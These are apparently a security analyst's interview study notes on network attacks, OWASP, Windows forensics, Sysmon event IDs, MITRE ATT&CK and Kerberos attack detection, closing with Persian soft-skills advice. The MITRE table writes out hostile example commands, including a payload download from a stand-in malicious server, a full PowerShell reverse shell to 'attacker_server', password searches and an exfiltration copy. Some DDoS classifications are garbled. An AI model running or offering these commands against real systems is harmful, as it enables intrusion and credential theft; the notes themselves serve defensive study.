

Interview data

Monday, November 27, 2023 12:26 PM

Network attack based on OSI LAYER :

OSI LAYER	Activity	Attack vector
7 Application layer	<ul style="list-style-type: none">• User interface and software application• Web browsing, email communication, file transfer• Protocols like HTTP, SMTP, FTP	<ol style="list-style-type: none">1. Malware injection2. Phishing attacks3. Application-level ddos attacks
6 Presentation layer	<ul style="list-style-type: none">• Data encryption & decryption• Data compression & Expansion• Viewing compressed files	<ol style="list-style-type: none">1. Data encoding/decoding vulnerabilities2. Malicious code injection3. Format strings attacks
5 Session layer	<ul style="list-style-type: none">• Establishes, manages, and terminates connections• Manage session state• Video conferencing	<ol style="list-style-type: none">1. Session hijacking2. Brute force attacks3. Session fixation attacks
4 Transport layer	<ul style="list-style-type: none">• Ensure end to end data delivery• TCP and UDP Protocols• Error correction	<ol style="list-style-type: none">1. Man in the middle2. SYN/ACK Flooding3. TCP/IP Vulnerabilities
3 Network layer	<ul style="list-style-type: none">• Routing and addressing• Ipv4 and ipv6 routing protocols (like OSPF)• Subnet Configuration	<ol style="list-style-type: none">1. IP Spoofing2. Routing table manipulation3. DDOS attacks
2 Data link layer	<ul style="list-style-type: none">• Frames and error Detection/Correction• Ethernet, Wi-Fi and bridging	<ol style="list-style-type: none">1. MAC address spoofing2. ARP spoofing3. VLAN hopping
1 Physical	<ul style="list-style-type: none">• Physical medium and electrical /optical signaling• Ethernet cables, fiber optics and ...• Radio waves in wireless links	<ol style="list-style-type: none">1. Physical tampering2. Wiretapping3. Electromagnetic interface

Application :	Exploit
Presentation :	Phishing
Session:	Hijacking(XSS attacks, Session side jacking, Malware)
Transport:	Reconnaissance(TCP session hijack, Fraggle, SYN flood, Land attack)
Network:	MITM(Smurf attack, Ping of death, Teardrop)
Data link:	Spoofing (MAC spoofing, MAC flooding, VLAN hopping)
Physical:	Sniffing

Type of DHCP attacks :

DHCP starvation attack:	This is an attack where an attacker sends many fake DHCP requests to the DHCP server , using different MAC addresses, to exhaust the pool of available IP addresses. This prevents legitimate DHCP clients from obtaining IP addresses and accessing the network
DHCP spoofing attack:	This is an attack where an attacker sets up a rogue DHCP server on the network and sends forged DHCP responses to DHCP clients, offering them malicious configuration information , such as a fake default gateway or DNS server. This allows the attacker to redirect the network traffic to their own device and perform a man-in-the-middle attack, where they can intercept, modify, or drop the packets
DHCP rogue server attack:	This is an attack where an attacker connects a device that has a DHCP server feature enabled to the network, without the authorization of the network administrator . This device may offer incorrect or conflicting IP addresses or configuration information to DHCP clients, causing network disruption or confusion
DHCP denial of service attack:	This is an attack where an attacker sends malformed or invalid DHCP packets to the DHCP server, causing it to crash or reload . This renders the DHCP service unavailable to the network, preventing DHCP clients from obtaining or renewing IP addresses

Type of DNS attacks :

Volumetric Attacks:	A high volume of requests get sent from different devices to a target device, focusing on the bandwidth. UDP FLOOD
Protocol Attacks:	Exhausting a server's resources by focusing on the protocols. SYN FLOOD
Application Layer Attacks:	Focusing on the application layer of the server, these attacks are more sophisticated and difficult to detect. PING OF DEATH

Which difference between Layer 2 and 3 OSI MODEL ?

The Data Link Layer (Layer 2)

is the second layer of the OSI model and is responsible for the reliable transfer of data between adjacent network nodes.

It provides the functional and procedural means to transfer data between network entities and to detect and possibly correct errors that may occur in the Physical Layer 1.

Layer 2 switches operate at this layer and **use MAC addresses and ARP to forward data packets between network segments**.

The Network Layer (Layer 3) is the third layer of the OSI model and is responsible for the delivery of data across multiple networks.

It provides the functional and procedural means of transferring variable-length data sequences from a source to a destination via one or more networks while maintaining the quality of service requested by the Transport Layer 1. Layer 3 switches operate at **this layer and use IP addresses to forward data packets between network segments**.

WEB PENETRATION

Broken Access Control:	This category moves up from the fifth position and focuses on risks related to access control flaws.
Cryptographic Failures:	This category shifts up one position to #2 and focuses on failures related to cryptography which often leads to sensitive data exposure or system compromise.
Injection:	This category slides down to the third position and includes risks related to injection flaws.
Insecure Design:	This is a new category for 2021, with a focus on risks related to design flaws.
Security Misconfiguration:	This category moves up from #6 in the previous edition and focuses on risks related to misconfiguration.
Vulnerable and Outdated Components:	This category moves up from #9 in 2017 and focuses on risks related to using components with known vulnerabilities.
Identification and Authentication Failures:	This category is sliding down from the second position and includes risks related to identification failures.
Software and Data Integrity Failures:	This category is new for 2021 and focuses on risks related to software and data integrity.
Server-Side Request Forgery:	This category is new for 2021 and focuses on risks related to server-side request forgery.
Security Logging and Monitoring Failures:	This category is new for 2021 and focuses on risks related to security logging and monitoring failures

Security Misconfiguration:

- Weak Password Attack
 - Default Passwords
 - Brute force / Dictionary Attack
 - Spray Attack
- Prevent Stack trace errors

- Prevent Verb tampering
- Implement HTTP Only
- Force Browsing

SQL Injection

1. In-Band SqlI
2. Union Based
3. Error Based

XSS:

XSS Exploit Requirements

1. Vulnerable Website
2. With User Interaction / Without User Interaction
3. Attacker Website

XSS Types

1. Reflected
2. Stored
3. Blind
4. DOM (Fully Client Side)
5. Self XSS

Exploitation

1. XSS Exploit Targets
2. Session Hijacking
3. Trustable Phishing
4. Run Malicious Scripts

Exploitation Types

1. Hijack Session Remotely
2. Inject External Script

For web penetration testing beef project will be helpful

Command & Code Injection

Interactive Shell

1. Blind Shell
2. Reverse Shell

Data Exfiltration

1. Using Http
2. Using DNS
3. Using Ping

XXE:

An XML External Entity (XXE) attack is a **type of attack against an application that parses XML input** .

It occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.

XXE injection is a web security vulnerability that allows an attacker to interfere with the way an application processes XML data.

Successful exploitation of XXE injection allows an attacker to view files from the application's server and interact with any external or backend systems that the application can access.

There are various types of XXE attacks, including exploiting XXE to retrieve files, performing SSRF attacks, exfiltrating data out-of-band, and retrieving data via error messages.

Broken Access Control

Insecure Direct Object Reference (IDOR) is a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly.

This vulnerability allows attackers to bypass authorization checks and access unauthorized resources .

IDOR vulnerabilities are most commonly associated with horizontal **privilege escalation**,

but they can also arise in relation to vertical privilege escalation .

There are many examples of access control vulnerabilities **where user-controlled parameter values are used to access resources or functions directly**.

One such example is **when a website uses the customer number as a record index in queries that are performed on the back-end database**.

If no other controls are in place, an attacker can simply modify the customer_number value, bypassing access controls to view the records of other customers .

HTTP parameter pollution

<http://example.com/?color=red&color=blue>

ASP/IIS => red,blue

PHP/Apache => blue

Python/Zope => ['red', 'blue']

Forensic:

Windows Normal process(Hunt evil poster - sans DFIR)

System

Image Path: N/A for system.exe - Not generated from an executable image Parent Process: None

Number of Instances: One

User Account: Local System

Start Time: At boot time

Description:

The System process is responsible for most kernel-mode threads. Modules run under System are primarily drivers (.sys files), but also include several important DLLs as well as the kernel executable, ntoskrnl.exe.

smss.exe

Image Path: *SystemRoot\\System32\\smss.exe

Parent Process: System

Number of Instances: One master instance and another child instance per session. Children exit after creating their session.

User Account: Local System

Start Time: Within seconds of boot time for the master instance

Description:

The Session Manager process is responsible for creating new sessions. The first instance creates a child instance for each new session.

Once the child instance initializes the new session by starting the Windows subsystem (csrss.exe) and wininit.exe for Session 0 or winlogon.exe for Session 1 and higher, the child instance exits.

wininit.exe

Image Path: *SystemRoot\\System32\\wininit.exe

Parent Process: Created by an instance of smss.exe that exits, so tools usually do not provide the parent process name.

Number of Instances: One

User Account: Local System

Start Time: Within seconds of boot time

Description:

Wininit.exe starts key background processes within Session 0. It starts the Service Control Manager (services.exe), the Local Security Authority process (lsass.exe), and lsaso.exe for systems with Credential Guard enabled.

Note that prior to Windows 10, the Local Session Manager process (lsm.exe) was also started by wininit.exe. As of Windows 10, that functionality has moved to a service DLL (lsm.dll) hosted by svchost.exe.

RuntimeBroker.exe

Image Path: \SystemRoot\System32\RuntimeBroker.exe

Parent Process: svchost.exe

Number of Instances: One or more

User Account: Typically the logged-on user(s)

Start Time: Start times vary greatly

Description:

RuntimeBroker.exe acts as a proxy between the constrained Universal Windows Platform (UWP) apps (formerly called Metro apps) and the full Windows API.

UWP apps have limited capability to interface with hardware and the file system. Broker processes such as RuntimeBroker.exe are therefore used to provide the necessary level of access for UWP apps.

Generally, there will be one RuntimeBroker.exe for each UWP app. For example, starting Calculator.exe will cause a corresponding RuntimeBroker.exe process to initiate.

taskhostw.exe

Image Path: %SystemRoot\System32\taskhostw.exe

Parent Process: svchost.exe

Number of Instances: One or more

User Account: Multiple taskhostw.exe processes are normal. One or more may be owned by logged-on users and/or by local service accounts.

Start Time: Start times vary greatly

Description:

The generic host process for Windows Tasks. Upon initialization, taskhostw.exe runs a continuous loop listening for trigger events.

Example trigger events that can initiate a task include a defined schedule, user logon, system startup, idle CPU time, a Windows log event, workstation lock, or workstation unlock.

There are more than 160 tasks preconfigured on a default installation of Windows 10 Enterprise (though many are disabled).

All executable files (DLLs & EXES) used by the default Windows 10 scheduled tasks are signed by Microsoft.

winlogon.exe

Image Path: \SystemRoot\System32\winlogon.exe

Parent Process: Created by an instance of smss.exe that exits, so analysis tools usually do not provide the parent process name.

Number of Instances: One or more

User Account: Local System

Start Time: Within seconds of boot time for the first instance (for Session 1). Start times for additional instances occur as new sessions are created, typically through Remote Desktop or Fast User Switching logons.

Description:

Winlogon handles interactive user logons and logoffs. It launches LogonUI.exe, which uses a credential provider to gather credentials from the user, and then passes the credentials to lsass.exe for validation.

Once the user is authenticated, Winlogon loads the user's NTUSER.DAT into HKCU and starts the user's shell (usually explorer.exe) via userinit.exe.

csrss.exe

Image Path: *SystemRoot%\System32\csrss.exe

Parent Process: Created by an instance of smss.exe that exits, so analysis tools usually do not provide the parent process name.

Number of Instances: Two or more

User Account: Local System

Start Time: Within seconds of boot time for the first two instances (for Session 0 and 1). Start times for additional instances occur as new sessions are created, although often only Sessions 0 and 1 are created.

Description:

The Client/Server Run-Time Subsystem is the user-mode process for the Windows subsystem.

Its duties include managing processes and threads, importing many of the DLLs that provide the Windows API, and facilitating shutdown of the GUI during system shutdown.

An instance of csrss.exe will run for each session. Session 0 is for services and Session 1 for the local console session. Additional sessions are created through the use of Remote Desktop and/or Fast User Switching.

Each new session results in a new instance of csrss.exe.

services.exe

Image Path: \SystemRoot\System32\services.exe

Parent Process: wininit.exe Number of Instances: One

User Account: Local System

Start Time: Within seconds of boot time

Description:

Implements the Unified Background Process Manager (UBPM), which is responsible for background activities such as services and scheduled tasks.

Services.exe also implements the Service Control Manager (SCM), which specifically handles the loading of services and device drivers marked for auto-start.

In addition, once a user has successfully logged on interactively,

the SCM (services.exe) considers the boot successful and sets the Last Known Good control set (HKLM\SYSTEM\Select\LastKnownGood) to the value of the CurrentControlSet.

svchost.exe

Image Path: \SystemRoot\System32\svchost.exe

Parent Process: services.exe (most often)

Number of Instances: Many (generally at least 10)

User Account: Varies depending on svchost instance, though it typically will be Local System, Network Service, or Local Service accounts. Windows 10 also has some instances running as logged-on users.

Start Time: Typically within seconds of boot time. However, services can be started after boot (e.g., at logon), which results in new instances of svchost.exe after boot time.

Description:

Generic host process for Windows services. It is used for running service DLLs.

Windows will run multiple instances of svchost.exe, each using a unique "-k" parameter for grouping similar services. Typical "-k" parameters include Dcom Launch, RPCSS, LocalServiceNetworkRestricted, LocalServiceNoNetwork, LocalServiceAndNoImpersonation, netsvcs, NetworkService, and more.

Malware authors often take advantage of the ubiquitous nature of svchost.exe and use it either to host a malicious DLL as a service,

or run a malicious process named svchost.exe or similar spelling. Beginning in Windows 10 version 1703, Microsoft changed the default grouping of similar services if the system has more than 3.5 GB of RAM.

In such cases, most services will run under their own instance of svchost.exe.

On systems with more than 3.5 GB RAM, expect to see more than 50 instances of svchost.exe (the screenshot in the poster is a Windows 10 VM with 3 GB RAM).

lsaiso.exe

Image Path: \SystemRoot\System32\lsaiso.exe

Parent Process: wininit.exe

Number of Instances: Zero or one

User Account: Local System

Start Time: Within seconds of boot time

Description:

When Credential Guard is enabled, the functionality of lsass.exe is split between two processes itself and lsaiso.exe.

Most of the functionality stays within lsass.exe, but the important role of safely storing account credentials moves to lsaiso.exe.

It provides safe storage by running in a context that is isolated from other processes through hardware virtualization technology.

When remote authentication is required, lsass.exe proxies the requests using an RPC channel with lsaiso.exe in order to authenticate the user to the remote service.

Note that if Credential Guard is not enabled, lsaiso.exe should not be running on the system.

lsass.exe

Image Path: \SystemRoot\System32\lsass.exe

Parent Process: wininit.exe Number of Instances: One

User Account: Local System

Start Time: Within seconds of boot time

Description:

The Local Security Authentication Subsystem Service process is responsible for authenticating users by calling an appropriate authentication package specified in HKLM\SYSTEM\CurrentControlSet\Control\Lsa.

Typically, this will be Kerberos for domain accounts or MSV1_0 for local accounts.

In addition to authenticating users, lsass.exe is also responsible for implementing the local security policy (such as password policies and audit policies) and for writing events to the security event log.

Only one instance of this process should occur and it should rarely have child processes (EFS is a known exception).

explorer.exe

Image Path: \SystemRoot\explorer.exe

Parent Process: Created by an instance of userinit.exe that exits, so analysis tools usually do not provide the parent process name.

Number of Instances: One or more per interactively logged-on user

User Account: <logged-on user(s)>

Start Time: First instance starts when the owner's interactive logon begins

Description:

At its core, Explorer provides users access to files.

Functionally, though, it is both a file browser via Windows Explorer (though still explorer.exe) and a user interface providing features such as the user's Desktop, the Start Menu, the Taskbar, the Control Panel, and application launching via file extension associations and shortcut files.

Explorer.exe is the default user interface specified in the Registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell, though Windows can alternatively function with another interface such as cmd.exe or powershell.exe.

Notice that the legitimate explorer.exe resides in the %SystemRoot% directory rather than %SystemRoot\System32.

Multiple instances per user can occur, such as when the option "Launch folder windows in a separate process" is enabled.

Sysmon

Event ID 1:	Process Creation: This event is generated when a process is created .
Event ID 2:	A Process Changed a File Creation Time: This event is generated when a process changes the creation time of a file .
Event ID 3:	Network Connection: This event logs TCP/UDP connections on the machine .
Event ID 4:	Sysmon Service State Changed: This event is generated when the Sysmon service state is changed .
Event ID 5:	Process Terminated: This event is generated when a process terminates .
Event ID 6:	Driver Loaded: This event is generated when a driver is loaded .
Event ID 7:	Image Loaded: This event is generated when an image is loaded into a process .
Event ID 8:	Create Remote Thread: This event is generated when a process creates a remote thread in another process .
Event ID 9:	Raw Access Read: This event is generated when a process opens a handle to a device object and requests read access to the device .
Event ID 10:	Process Access: This event is generated when a process opens another process .
Event ID 11:	File Create: This event is generated when a file is created .
Event ID 12:	Registry Event (Object create and delete): This event is generated when a registry key or value is created or deleted .
Event ID 13:	Registry Event (Value Set): This event is generated when a registry value is set .
Event ID 14:	Registry Event (Key and Value Rename): This event is generated when a registry key or value is renamed .
Event ID 15:	File Create Stream Hash: This event is generated when a file stream hash is created .
Event ID 16:	Sysmon Configuration Change: This event is generated when the Sysmon configuration is changed .
Event ID 17:	Pipe Event (Pipe Created): This event is generated when a named pipe is created .
Event ID 18:	Pipe Event (Pipe Connected): This event is generated when a named pipe is connected .
Event ID 19:	Wmi Event (Wmi Event Filter activity detected): This event is generated when WMI event filter activity is detected .
Event ID 20:	Wmi Event (Wmi Event Consumer activity detected): This event is generated when WMI event consumer activity is detected .
Event ID 21:	WmiEvent (Wmi Event Consumer To Filter activity detected): This event is generated when WMI event consumer-to-filter activity is detected .
Event ID 22:	DNS Event (DNS query): This event is generated when a DNS query is made .
Event ID 23:	Service Configuration Change: This event is generated when a service configuration is changed .
Event ID 24:	Pipe Event (Pipe Listening): This event is generated when a named pipe is listening .
Event ID 25:	Driver Loaded (Boot): This event is generated when a driver is loaded during boot .
Event ID 26:	File Delete Detected (File Delete logged): This event is generated when a file is deleted .
Event ID 27:	File Block Executable: This event is generated when Sysmon detects and blocks the creation of executable files (PE format) .
Event ID 28:	File Block Shredding: This event is generated when Sysmon detects and blocks file shredding from tools such as SDelete .
Event ID 29:	Image Load (DLL): This event is generated when a DLL is loaded into a process .
Event ID 30:	Image Load (Driver): This event is generated when a driver is loaded into a process .

Windows Important Event ID :

4624:	Successful logon
4625:	Failed logon
4728:	Member added to security enabled global group
4732:	Member added to security enabled local group
4756:	Member added to security enabled universal group
1102:	log cleared
4740:	User account locked out
4663	Attempt made to access object

MITRE ATTACK :

1	Recon	he adversary is trying to gather information they can use to plan future operations.
2	Resource Development	The adversary is trying to establish resources they can use to support operations.(botnet)
3	Initial Access	bitsadmin /transfer myjob /download /priority high http://malicious_server/payload.exe c:\windows\temp\payload.exe
4	Execution	start c:\windows\temp\payload.exe
5	Persistence	schtasks /create /tn "Startup Task" /tr "c:\windows\temp\payload.exe" /sc onstart
6	Privilege Escalation	runas /user:newuser c:\windows\temp\payload.exe
7	Defense Evasion	The adversary is trying to avoid being detected.(Group Policy Modification)
8	Credential Access	reg query HKLM\SAM /f password /t REG_SZ /s
9	Discovery	ipconfig /all netstat -an
10	Lateral Movement	psexec \\other_system -u username -p password cmd
11	Collection	findstr /si password *.txt findstr /si secret *.docx
12	Command and Control	<pre>powershell -nop -c "\$client = New-Object System.Net.Sockets.TCPClient('attacker_server',443);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535 %{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 Out-String);\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '>';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush();\$client.Close()"</pre>

13	Exfiltration	xcopy c:\sensitive_data \\attacker_machine\c\$ /s
14	Impact	The adversary is trying to manipulate, interrupt, or destroy your systems and data.(Account Access Removal)

TOP 10 MITRE ATTACK :

T1059.001: PowerShell:	Adversaries use PowerShell to execute malicious code, download and install malware, and steal data.
T1047: Windows Management Instrumentation:	Adversaries use WMI to execute malicious code, download and install malware, and steal data.
T1027: Obfuscated Files or Information:	Adversaries use obfuscation techniques to hide malicious code or data from detection.
T1218.011: Rundll32:	Adversaries use Rundll32 to execute malicious code, download and install malware, and steal data.
T1105: Ingress Tool Transfer:	Adversaries use various methods to transfer tools and files to compromised systems.
T1055: Process Injection:	Adversaries inject malicious code into legitimate processes to evade detection.
T1569.002: Service Execution:	Adversaries use services to execute malicious code, download and install malware, and steal data.
T1036.003: Rename System Utilities:	Adversaries rename system utilities to evade detection.
T1490: Inhibit System Recovery:	Adversaries use various methods to prevent system recovery.
T1036: Masquerading:	Adversaries disguise malicious code or data as legitimate files or processes to evade detection.

The Cyber Kill Chain :

is a framework that explains how attackers move through networks to identify vulnerabilities and exploit them. It covers seven stages: reconnaissance, weaponization, delivery, exploitation, installation, C2, and actions on objectives

Reconnaissance:	Attackers gather information about the target system, such as IP addresses, domain names, and email addresses.
Weaponization:	Attackers create a weapon, such as a virus or a Trojan horse, that can be used to exploit the target system.
Delivery:	Attackers deliver the weapon to the target system, usually through email, social engineering, or other means.
Exploitation:	Attackers exploit a vulnerability in the target system to gain access to it.
Installation:	Attackers install malware or other tools on the target system to maintain access and control.
C2:	Attackers establish command and control channels to communicate with the target system and issue commands.
Actions on objectives:	Attackers achieve their objectives, such as stealing data, disrupting services, or causing damage.

Best tools :

Process hacker - Browsing History View - Abuse IPDb - Cisco Talos - urlscan

Threat Hunt :

Detection Methods for the Pass the Hash Attack

Pass the hash (PTH) is a type of cybersecurity attack in which an **adversary steals a “hashed” user credential and uses it to create a new user session on the same network**. Unlike other credential theft attacks, **a pass the hash attack does not require the attacker to know or crack the password to gain access to the system**.

Below, known Event IDs are added to detect a possible Pass-the-Hash attack :

Event ID 1 - Process Create.

- Key Description Fields: LogonId, ParentProcessId, ParentImage, CurrentDirectory, CommandLine, IntegrityLevel, ParentCommandLine, ParentCommandLine, UtcTime, ProcessId, User, Hashes, Image

Event ID 5 - Process terminated.

- Key Description Fields: UtcTime, ProcessId, Image

Event ID 10 - Process accessed.

- Key Description Fields: SourceThreadId, TargetProcessId, GrantedAccess, SourceImage, TargetImage

Event ID 4624 - An account was successfully logged on.

- Key Description Fields: Account Name, Account Domain, Logon ID

Event ID 4663 - An attempt was made to access an object.

- Key Description Fields: Process ID, Access Mask, Account Domain, Object Name, Process Name, Object Type, Logon ID, Handle ID

Event ID 4672 - Special privileges assigned to new logon.

- Key Description Fields: Security ID, Account Name, Account Domain

Event ID 4688 - A new process has been created.

- Key Description Fields: Required Label, Account Domain, Source Process Name, New Process Name, Token Escalation Type, New Process ID, Source Process ID

Detection Methods for the Pass the Ticket Attack:

Pass-the-Ticket attacks are a **type of post-exploitation attack** where an **adversary steals a Kerberos ticket from one computer and re-uses it to access another computer in a compromised environment**.

The Kerberos Ticket Granting Ticket (TGT) provides proof of a user's identity within Active Directory.

Adversaries can use this technique to move laterally through an organization's network and escalate their privileges.

Both Ticket Granting Service (TGS) tickets and TGTs can be stolen and reused. Kerberos TGT tickets expire after 10 hours by default.

Below, known Event IDs are added to detect a possible Pass-the-Ticket attack:

Event ID 4768 - A Kerberos Authentication Ticket (TGT) was requested.

- Key Description Fields: Account Name, Service Name (always "krbtgt"), Service ID, Client Address

Event ID 4769 - A Kerberos Service Ticket was requested.

- Key Description Fields: Account Name, Service Name, Client Address

Event ID 4770 - A Kerberos Service Ticket was renewed.

- Key Description Fields: Account Name, User ID, Service Name, Service ID

Detection Methods for the Kerberoasting Attack:

Kerberoasting is a **post-exploitation attack technique** that attempts to **obtain a password hash of an Active Directory account that has a Service Principal Name (“SPN”)**.

In such an attack, **an authenticated domain user requests a Kerberos ticket for an SPN**. The retrieved Kerberos ticket is encrypted with the hash of the service account password affiliated with the SPN.

The adversary then works offline to crack the password hash, often using brute force techniques.

Once the plaintext credentials of the service account are obtained, the adversary can impersonate the account owner and inherit its access to any systems, assets or networks granted to the compromised account.

It is possible to identify various signs of Kerberoasting by observing the Windows event log for unusual requests for ticket-granting service (TGS).

Event ID 4769 - A Kerberos Service Ticket was requested.

- Key Description Fields: Account Name, Service Name, Client Address

Event ID 4770 - A Kerberos Service Ticket was renewed.

- Key Description Fields: Account Name, User ID, Service Name, Service ID

Detection Methods for the Golden Ticket Attack :

A Golden Ticket attack is a malicious cybersecurity attack that exploits weaknesses in the Kerberos identity authentication protocol to bypass normal authentication and access an organization's domain.

It allows an attacker to gain almost **unlimited access** to an organization's domain (devices, files, domain controllers, etc.) by accessing user data stored in Microsoft Active Directory (AD).

The attack is named after the Golden Ticket in the book and movie Charlie and the Chocolate Factory, which allowed **unlimited access** to a well-guarded candy factory.

To carry out a Golden Ticket attack, the attacker needs the **fully qualified domain name, the security identifier of the domain, the KRBTGT password hash and the username of the account they are going to access.**

Event ID 4769 - A Kerberos Service Ticket was requested.

- Key Description Fields: Account Name, Service Name, Client Address

Event ID 4624 - An account was successfully logged on.

- Key Description Fields: Account Name, Account Domain, Logon ID

Event ID 4627 - Identifies the account that requested the logon.

- Key Description Fields: Security ID, Account Name, Account Domain, Logon ID

Where Are Windows OS Credentials Stored?

1. Security Account Manager (SAM) database:

The SAM is a protected system file located on the local machine, which stores the hashed versions of the password for all local user accounts on the system.

2. Local Security Authority Subsystem Service (LSASS) memory:

LSASS is a Windows process responsible for authenticating user logins and enforcing security policies. When a user logs in, the LSASS process retrieves the user's credentials from the SAM database and stores them in memory for the duration of the session.

3. NTDS.dit:

NTDS.dit is a database file on domain controllers containing all of the Active Directory data. The data in the NTDS.dit file is replicated between domain controllers in a domain or forest. If a user's account is in Active Directory, the hashed passwords are stored in the NTDS.dit file. This allows users to authenticate across all domain-joined machines.

4. Local Security Authority (LSA) Secrets:

LSA secrets is a mechanism that allows storing secrets, such as passwords, in the Windows Registry. These secrets can be used to authenticate services, schedule tasks, and other tasks that require a password.

5. Cached Domain Credentials:

When a user logs into a Windows computer that is part of a domain, the user's domain credentials are cached on the local machine so that the user can continue to access resources on the network if the domain controller is unavailable. The cached credentials are typically stored in the LSASS memory and can be used to authenticate the user even if the domain controller is not reachable.

6. Credentials Manager:

Credentials Manager is the built-in Windows feature that allows users to store and manage their credentials, like passwords or certificates. These credentials will be used when a user wants to access a network resource, web page, or application that requires a user name and password.

7. Group Policy:

In certain situations, credentials may be stored in Group Policy to allow automatic login for a specific user or group of users. This can be useful in cases where a user needs to access a resource that requires a username and password, but the user is not present to enter the information manually.

Where Are Linux and macOS Credentials Stored?

1. /etc/passwd:

This file is used to store user information, including username, user ID (UID), group ID (GID), and home directory path.

2. /etc/shadow:

This file is used to store the password hashes and other information related to user authentication, such as the last time the password was changed and the date on which the account will expire. This file is only readable by the root user.

3. PAM (Pluggable Authentication Modules):

PAM is a framework that allows Linux and macOS systems to use multiple authentication methods, such as local password authentication, Kerberos, and smart cards. PAM is configured through a series of files located in the /etc/pam.d directory.

4. NSS (Name Service Switch):

This is a facility provided by the operating system that allows switching between different sources of information. For example, information about users, groups and hosts. It is configured via the /etc/nsswitch.conf file. It can include the files /etc/passwd and /etc/shadow or an external database like LDAP, AD or NIS.

5. Kerberos:

Kerberos is an authentication protocol that uses tickets to establish secure connections between clients and servers. Kerberos is typically used in enterprise environments and is configured through the krb5.conf file, usually located in the /etc directory.

Adversary Use of LSASS Memory

Since LSASS memory contains valuable credentials, adversaries utilize various methods and tools to dump LSASS memory and extract credentials:

- Mimikatz:

- **Mimikatz** is the most common tool for credential dumping. Mimikatz can extract plaintext passwords, password hashes, PIN codes , and Kerberos tickets from memory. Adversaries also use Mimikatz to perform pass -the-hash, pass-the-ticket, and Golden tickets attacks.
- **gsecdump:**
gsecdump is a credential dumping tool that can harvest password hashes from LSA secrets, Active Directory (AD), Security Account Manager (SAM), and logon sessions.
- **ProcDump:**
Procdump is a legitimate tool part of the Microsoft Sysinternals suite. Procdump monitors applications for CPU spikes and generates a memory dump of processes. However, adversaries abuse Procdump to dump LSASS memory and extract credentials from the memory dump.
- **Windows Task Manager:**
Users can create memory dumps for processes using Windows Task Manager's Create Dump File feature. Adversaries with SYSTEM privilege can use this feature to dump LSASS memory.
- **Direct System Calls and API Unhooking:**
Adversaries may use direct system calls to avoid security controls. By executing the system calls directly, adversaries bypass Windows and Native API and may also bypass any user-mode hooks used by security controls. For example, Dumpert can dump LSASS memory via direct system calls and API unhooking.

Adversary Use of Proc Filesystem

The proc filesystem (procfs) can **potentially be used by attackers to obtain credentials and other sensitive information about the operating system and its processes**. There are several ways in which attackers may use the procfs for this purpose:

1. Extracting Command-line Arguments	<p>The procfs contains virtual files with the command-line arguments of each running process on the system.</p> <p>An attacker may attempt to read these files in order to obtain any sensitive information that may have been passed as command -line arguments, such as passwords or API keys.</p>
2. Reading Environment Variables	<p>The procfs contains virtual files with the environment variables of each running process.</p> <p>An attacker may attempt to read these files in order to obtain sensitive information that may be stored in environment variables, such as credentials for external services or database servers.</p>
3. Obtaining Process Information	<p>The procfs contains virtual files with information about the processes running on the system, including the current working directory, open file descriptors, and other details. An attacker may use this information to gather intelligence about the system and potentially identify processes that may be of interest.</p>
4. Reading Kernel Information	<p>The procfs contains virtual files and directories with information about the kernel and its configuration.</p> <p>An attacker may attempt to read these files in order to obtain information about the version of the kernel, the system architecture, and the loaded kernel modules.</p> <p>This information may be used to tailor an attack to the specific system and potentially exploit known vulnerabilities. An adversary may use the following tools to extract credentials using the proc file system:</p>

- **MimiPenguin**
is an open-source tool capable of dumping process memory and harvesting passwords and hashes by searching for text strings and regular expressions.
- **LaZagne**
can extract credential information from process memory with the memorydump.py module.
It includes regex patterns for passwords of common websites, such as Gmail, Dropbox, Salesforce, PayPal, Twitter, Github, and Slack. Lazagne uses these patterns to dump cleartext passwords from the browser's memory.
Its mimipy.py module is a Python port of MimiPenguin.
- **Procdump**
for Linux is a Linux reworking of the classic Procdump tool from the Sysinternals suite of tools for Windows.
It provides Linux developers with a straightforward method for generating core dumps of their applications in response to performance triggers.
Naturally, adversaries utilize this tool to dump process memory and extract credentials from dumped memory.

چند مهارت را می خواهیم با هم بررسی کنیم که شما باید آن ها را به شخص مصاحبه شونده ثابت کنید.

1-مهارت حل مسئله

درباره ی موقعیت هایی حرف بزنید که در رویارویی با چالش ها، با حفظ تمرکز و آرامش به فکر راه چاره و حل مسئله بودید.

2-مدیریت زمان

مثال هایی بزنید که در زمان کم و آنی چه تسک هایی را تحویل داده اید. شما باید قادر به مدیریت زمان باشید.

3-انعطاف پذیری

چگونه خود را با شرایط سخت وقف داده اید و این انعطاف پذیری به سود سازمان بوده است.

4-مهارت های بین فردی

از تیمی حرف بزنید که ارتباط با اعضای آن بسیار دشوار بوده، اما شما با مهارت های میان فردی خود تونستید اونا رو به سمت همکاری سازنده هدایت کنید. از ارتباطات گسترده ای که با تیم های مجموعه دارید صحبت کنید.

5-صداقت

اتفاقاتی رو بازگو کنید که در آن تعهد شما به صداقت، باعث شده تصمیمات دشواری بگیرید. رو راست و صادق باشید. اگر جواب سوالی را نمی دانید آن را اعلام کنید.

6-طرز فکر رو به رشد

از برنامه هایی که برای رشد فنی و شخصی خود دارید صحبت کنید. از دوره هایی که علاقه به شرکت در آن دارید صحبت کنید.

7-ارتباط موثر

شما باید توانایی گوش کردن و صحبت کردن به صورت موثر را داشته باشید.

8-خود انگیختگی

در مورد پروژه های دشواری صحبت کنید که با خودانگیختگی تونستید به اهداف اون پروژه دست پیدا کنید.

9-نترس و جسور

شما باید به مصاحبه شونده ثابت کنید که جسارت لازم برای به دست آوردن آن شغل را دارید.

منبع:

در پایان برای مهارت هایی که شما لازم دارید تا برنده ی یک مصاحبه کاری باشید یک منبع نیز معرفی می کنم. (Focus on SOFT SKILL)

[متمم | محل توسعه مهارت های من \(motamem.org\)](https://motamem.org)